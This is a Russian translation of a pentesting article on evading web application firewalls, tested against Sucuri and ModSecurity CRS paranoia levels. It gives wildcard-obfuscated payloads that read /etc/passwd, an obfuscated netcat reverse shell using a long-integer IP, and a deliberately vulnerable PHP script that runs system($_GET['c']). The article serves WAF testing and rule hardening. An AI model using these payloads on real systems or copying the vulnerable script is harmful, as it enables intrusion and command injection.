Методы уклонения от Web Application Firewall (WAF)

Перевод статьи: theMiddleWeb Application Firewall (WAF) Evasion Techniques

Часто в веб-приложениях обнаруживается уязвимость удаленного выполнения команд Remote Command Execution и это подтверждается «OWASP Top 10 application security risk 2017», которые ставят «Injection» на первое место:

Угрозы Injection (внедрение), такие как SQL, NoSQL, OS и LDAP injection, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Враждебные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или получить доступ к данным без надлежащей авторизации.

Все современные Web Application Firewall (брандмауэры веб-приложений) способны перехватывать (и даже блокировать) попытки RCE, но когда это происходит в системе Linux, у нас появляется невероятное количество способов обойти набор правил WAF. Самый большой друг тестера на проникновение – это не этого собака… (из фразы “собака друг человека”) а «подстановочный знак – wildcard». Прежде чем начать рассказывать о метода обхода WAF, я хочу показать вам вещи, которые вы, возможно, не знаете о bash и подстановочных знаках (wildcards).

Что вы можете не знать о подстановочных знаках

Стандартные подстановочные знаки Bash (также известные как globbing patterns) используются различными утилитами командной строки для работы с несколькими файлами. Для получения дополнительной информации о стандартных подстановочных знаках обратитесь к странице руководства, набрав man 7 glob. Не все знают, что существует множество синтаксисов bash, которые позволяют вам выполнять системные команды, просто используя вопросительный знак «?», косую черту «/», цифры и буквы. Вы даже можете получить список файлов или получить их содержимое, используя одно и то же количество символов. Как? Я приведу несколько примеров:

Вместо выполнения команды ls вы можете использовать следующий синтаксис: /???/?s

Image for post
вывод справки «ls» выполняется с использованием синтаксиса / ??? /? s

С этим синтаксисом вы можете выполнять практически все, что вы хотите. Допустим, ваша уязвимая цель находится за брандмауэром веб-приложений, и этот WAF имеет правило, блокирующее все запросы, содержащие /etc/passwd или /bin/ls внутри значения параметра GET или внутри тела в запросе POST. Если вы попытаетесь сделать запрос наподобие /?cmd=cat+/etc/passwd, он будет заблокирован целевым WAF, и ваш IP будет забанен навсегда и помечен как «еще один f *** in’ redteamer ». Но у вас есть секретное оружие в вашем кармане, называемое подстановочным знаком. Если вам повезет, то целевой WAF может не иметь «уровня паранойи», достаточного для того, чтобы блокировать таких персонажей, как ? и / внутри строки запроса. Таким образом, вы можете легко сделать ваш запрос (в кодировке URL) следующим образом: /?cmd=%2f???%2f??t%20%2f???%2fp??s??

Image for post
/bin/cat /etc/passwd выполнился с символом подставновки

Как вы можете видеть на скриншоте выше, есть 3 ошибки /bin/cat*: Is a directory». Это происходит потому, что /???/??t может быть «переведен» процессом globbing в /bin/cat, а также /dev/net или /etc/apt, и т.п…

Подстановочный знак вопроса представляет только один символ, который может быть любым символом. Таким образом, если вы знаете часть имени файла, но не одну букву, вы можете использовать этот шаблон. Например, ls *.??? будет список всех файлов в текущем каталоге, которые имеют расширение 3 символа в длину. И таким образом, файлы с расширениями, такими как .gif, .jpg, .txt будут перечислены.

Используя этот шаблон, вы можете запустить reverse shell (обратный шелл), используя netcat. Допустим, вам нужно выполнить reverse shell до 127.0.0.1 на порту 1337 (обычно это nc -e /bin/bash 127.0.0.1 1337), вы можете сделать это с помощью синтаксиса, например:
/???/n? -e /???/b??h 2130706433 1337

Преобразовав IP-адрес 127.0.0.1 в «long» формат (2130706433), вы можете избежать использования символов точки в своем HTTP-запросе.

В моем kali (дистрибутив линукс) мне нужно использовать nc.traditional вместо nc, у которого нет параметра -e, чтобы выполнить /bin/bash после подключения. Полезная нагрузка становится примерно такой:

/???/?c.??????????? -e /???/b??h 2130706433 1337
Image for post
executing a reverse shell using wildcard

Соответственно две предыдущие команды можно использовать так:

Стандартная команда: /bin/nc 127.0.0.1 1337
Команда для атаки:/???/n? 2130706433 1337
Используемые символы: / ? n [0-9]

Стандартная команда: /bin/cat /etc/passwd
Команда для атаки: /???/??t /???/??ss??
Используемые символы: / ? t s

Зачем использовать ? вместо того * ? Поскольку звездочка (*) широко используется для синтаксиса комментариев (что-то вроде / * эй, я комментарий * /), и многие WAF блокируют его, чтобы избежать SQL-инъекций … что-то вроде UNION+SELECT+1,2,3/*

Перечислять файлы и каталоги, используя echo? Да, можно. Команда echo может перечислять файлы и каталоги в файловой системе, используя подстановочные знаки. Например: echo /*/*ss* :

Image for post
перечислять файлы и каталоги, используя команду echo

Это может быть использовано на RCE для получения файлов и каталогов в целевой системе, например:

Image for post
enumerate files and directories through a WAF

Но почему использование подстановочного знака (и, в частности, знака вопроса) может обойти набор правил WAF? Позвольте мне начать с Sucuri WAF!

Sucuri WAF evasion

Image for post
Test evasion technique on Sucuri WAF

Какой лучший способ проверить набор правил WAF? Создайте самый уязвимый PHP-скрипт в мире и опробуйте все возможные приемы! На скриншоте выше мы видим: в верхней левой панели мое уродливое веб-приложение (это просто PHP-скрипт, который выполняет команды):

<?php
echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);

В левой нижней части окна вы можете увидеть тест удаленного выполнения команд на моем веб-сайте, защищенный Sucuri WAF (test1.unicresit.it). Как вы видите, Sucuri блокирует мой запрос по причине «An attempted RFI/LFI was detected and blocked». Эта причина не совсем верна, но хорошая новость заключается в том, что WAF заблокировал мою атаку (я даже не знаю, почему брандмауэр должен сообщить мне причину заблокированного запроса, но должна быть причина… наверняка).

Правая панель является самой интересной из всех, потому что она показывает тот же запрос, но с использованием «вопросительного знака» в качестве подстановочного знака. Результат пугающий … Запрос принят Sucuri WAF, и мое приложение выполняет команду, которую я ввел в параметр c. Теперь я могу прочитать файл /etc/passwd и даже больше … Я могу прочитать исходный текст PHP-приложения, я могу запустить обратную оболочку, используя netcat (или, как мне нравится называть это: /???/?c), или Я мог бы выполнять такие программы, как curl или wget, чтобы выявить реальный IP-адрес веб-сервера, который позволил бы мне обойти WAF, подключившись напрямую к цели.

Я не знаю, происходит ли это из-за того, что я что-то пропустил в своей конфигурации Sucuri WAF… Я спросил у Sucuri, является ли это активным поведением и настроено ли оно по умолчанию на «низкий уровень паранойи», чтобы избежать ложных положительные, и я все еще жду ответа.

Пожалуйста, имейте в виду, что я делаю этот тест, используя тупой скрипт PHP, который не представляет реальный сценарий. ИМХО, вы не должны судить о WAF, основываясь на том, сколько запросов он блокирует, и Sucuri не менее безопасен только потому, что не может полностью защитить намеренно уязвимый веб-сайт.

ModSecurity OWASP CRS 3.0

Я действительно люблю ModSecurity, я думаю, что новая libmodsecurity (v3), используемая с Nginx и Nginx connector, является лучшим решением, которое я когда-либо использовал для развертывания брандмауэра веб-приложений. Я также большой поклонник набора основных правил OWASP (OWASP Core Rule Set)! Я использую его повсюду, но, если вы плохо знаете этот набор правил, вам нужно обратить внимание на небольшую вещь, называемую уровень паранои!

Уровень параноии для новичков

Следующая «схема», которую вы можете найти здесь, является хорошим обзором того, как каждый уровень работает по правилам «REQUEST PROTOCOL ENFORCEMENT». Как вы можете видеть с PL1, строка запроса может содержать только символы ASCII в диапазоне 1–255, и она становится более строгой, пока PL4 не блокирует все, что не является символом ASCII в очень небольшом диапазоне.

# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

давайте проведем тест со всеми уровнями!

Paranoia Level 0 (PL0)

Уровень паранойи 0 означает, что многие правила отключены, поэтому абсолютно нормально, что наша полезная нагрузка может без проблем привести к удаленному выполнению команд. Не паникуйте 🙂

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
Image for post
RCE принят ModSecurity с PL0 (не паникуйте, все в порядке)

Паранойя 1-го уровня в ModSecurity означает «безупречные правила высокого качества практически без ложных срабатываний», но это также слишком много разрешающего. Вы можете найти список правил, сгруппированных по уровню паранойи, на веб-сайте netnea: https://www.netnea.com/cms/core-rule-set-inventory/

Paranoia Level 1 и 2 (PL1, PL2)

Я сгруппировал уровни 1 и 2, потому что их различия (как вы можете видеть на схеме выше) не влияют на нашу цель, все действия такие же, как описано ниже.

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"

с PL1 (и PL2) ModSecurity явно блокирует мой запрос «OS File Access Attempt» (930120). Но что, если я использую знак вопроса в качестве подстановочного знака? Запрос принят моим WAF:

Image for post
with PL1 and PL2 my RCE attack was not blocked and I can read /etc/passwd

Это происходит потому, что «знак вопроса», «косая черта» и «пробел» находятся в допустимом диапазоне символов в правилах 920271 и 920272. Более того, использование «вопросительных знаков» вместо командного синтаксиса позволяет мне избежать «OS Files» фильтры, которые перехватывают общие команды и файлы операционных систем (такие как /etc/passwd в нашем случае).

Paranoia Level 3 (PL3)

Этот уровень паранойи имеет плюс: он блокирует запрос, содержащий символы типа «?» более чем в n раз. Фактически, мои запросы были заблокированы как «Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters». это здорово! отличная работа ModSecurity, ты выиграл плюшевого мишку! 🐻 Но, к сожалению, мое веб-приложение настолько уродливо и уязвимо, что я все равно могу использовать меньше вопросительных знаков и читать файл passwd, используя следующий синтаксис: c=/?in/cat+/et?/passw?

Image for post

Как видите, используя всего 3 «?» Вопросительный знак Я могу обойти этот уровень паранойи и прочитать файл passwd внутри целевой системы. ОК, это не значит, что вы должны установить уровень паранойи на 4 всегда и безоговорочно. Имейте в виду, что я тестирую его с действительно глупым PHP-скриптом, который не представляет реальный сценарий … Я надеюсь …

Теперь все знают, что 42 – это ответ на жизнь, вселенную и все остальное. Но как насчет: «Будете ли вы уклоняться от набора правил OWASP на уровне 4 паранойи?»

Paranoia Level 4 (PL4)

в основном нет, я не могу. Все символы вне диапазона a-z A-Z 0–9 заблокированы! Ни в коем случае … и поверьте мне, когда вам нужно выполнить команду для чтения файлов, существует 90% вероятностей, что вам нужен символ “пробел” или “косая черта” 😉

Вы хотите больше?

Вторая часть этой статьи: https://websafeness.ru/blog/metody-ukloneniya-ot-web-application-firewall-waf-chast-2/

Заключение

Вернуться к статическим HTML-страницам … это самый быстрый способ повысить безопасность вашего веб-приложения! Трудно сказать, какая конфигурация лучше всего избегать уклонения от WAF или какой уровень паранойи лучше всего использовать. ИМХО, мы не должны доверять набору правил, равномерно распределенному в веб-приложении. Действительно, я думаю, что мы должны настроить наши правила WAF, контекстуализированные для каждой функциональности приложения.

В любом случае, когда вы пишете новый SecRule на свой ModSecurity или что-то подобное, имейте в виду, что, вероятно, есть много способов обойти ваш фильтр или регулярное выражение в правиле. Поэтому сразу обдумывайте все возможности его обхода.

Дополнительное чтение

Узнайте больше о правилах ModSecurity: https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual

Учебник по Apache ModSecurity от Netnea: https://www.netnea.com/cms/apache-tutorials/

Блог SpiderLabs: https://www.trustwave.com/Resources/SpiderLabs-Blog/

ModSecurity v3 Github: https://github.com/SpiderLabs/ModSecurity/tree/v3/master